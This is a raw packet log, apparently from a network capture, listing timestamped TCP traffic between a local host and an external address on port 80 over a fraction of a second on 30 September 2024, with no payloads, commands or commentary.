Sep 30, 2024 13:59:29.709058046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709070921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709080935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709091902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709095955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709109068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709136963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709139109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709147930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709167004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709177971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709187984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709193945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709197998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709203959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709217072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709227085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709232092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709238052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709249020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709279060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709285975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709295988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709319115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709319115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709358931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709367037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709368944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709379911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709397078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709419012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709423065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709423065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709441900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709456921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709465027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709467888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709477901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709481001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709487915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709517002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709517002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709542036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709588051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709589005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709599972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709639072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709639072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709662914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709672928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709682941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709692955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709703922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709709883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709709883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709728003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709753036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709793091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709804058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709813118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709821939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709831953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709839106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709850073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709861040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709871054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709873915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709873915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709883928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709897041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709907055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709917068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709917068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709945917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709960938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709964991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.709970951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.709983110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710009098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710011005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710011005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710020065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710028887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710031033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710038900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710042000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710059881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710081100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710099936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710109949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710129023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710139990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710150003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710160017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710160971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710179090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710196972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710216999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710225105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710230112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710270882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710315943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710325956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710335970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710345984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710355997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710366964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710372925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710378885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710385084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710397959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710407972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710421085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710421085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710467100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710550070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710561991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710572004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710587025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710597038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710627079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710643053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710654020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710661888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710668087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.710690975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.710701942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711527109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711584091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711595058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711597919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711610079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711630106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711637974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711658955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711673975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711685896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711697102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711708069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711745024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711745977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711781025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711791992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711802006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711812019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711819887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711822987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711833000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711843967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711863995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711863995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711891890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711921930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711931944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711942911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711952925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711963892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711975098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.711981058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.711981058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.712007999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799454927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799472094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799483061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799571991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799571991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799586058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799597025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799607992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799627066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799637079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799637079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799638033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799648046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799659014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799659967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799731016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799735069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799746037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799757004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799767017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799777031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799787998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799798012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799833059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799918890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799932003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799942017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799952030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799962044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799972057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.799973011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799973011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.799983025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800024033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800024033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800072908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800084114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800093889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800108910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800118923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800129890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800133944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800133944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800160885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800172091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800339937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800374031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800518036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800627947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800662041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800672054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800719023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800719023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.800868988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800879955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.800965071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801011086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801023006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801033020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801053047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801105022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801189899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801199913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801211119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801222086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801229954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801232100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801242113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801269054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801269054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801342010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801352978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801362991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801373959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801389933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801412106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801491976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801502943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801512957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801523924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801532984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801543951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801548958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801563978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801631927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801639080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801649094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801659107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801668882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801676989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801728964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801728964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801801920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801812887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801821947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801831961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801841021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801862955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801925898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801944017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801964998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801975012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801985025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801995039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.801999092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.801999092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802006006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802015066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802016020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802047968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802054882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802081108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802090883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802100897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802109957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802119970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802125931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802129984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802155972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802186966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802211046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802222013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802244902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802318096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802392960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802403927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802412987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802423000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802433968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802443027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802443027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802443981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802474976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802495003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802522898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802535057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802577972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802577972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802692890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802702904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802711964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802751064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802792072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802846909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802859068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802867889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802877903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802885056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802887917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802896976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802897930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802908897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802920103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.802934885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802941084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.802990913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803154945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803165913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803175926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803186893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803204060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803204060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803234100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803718090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803729057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803739071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803750038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803759098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803781986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803782940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803814888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803855896 CEST	80	49721	5.42.101.62	192.168.2.6
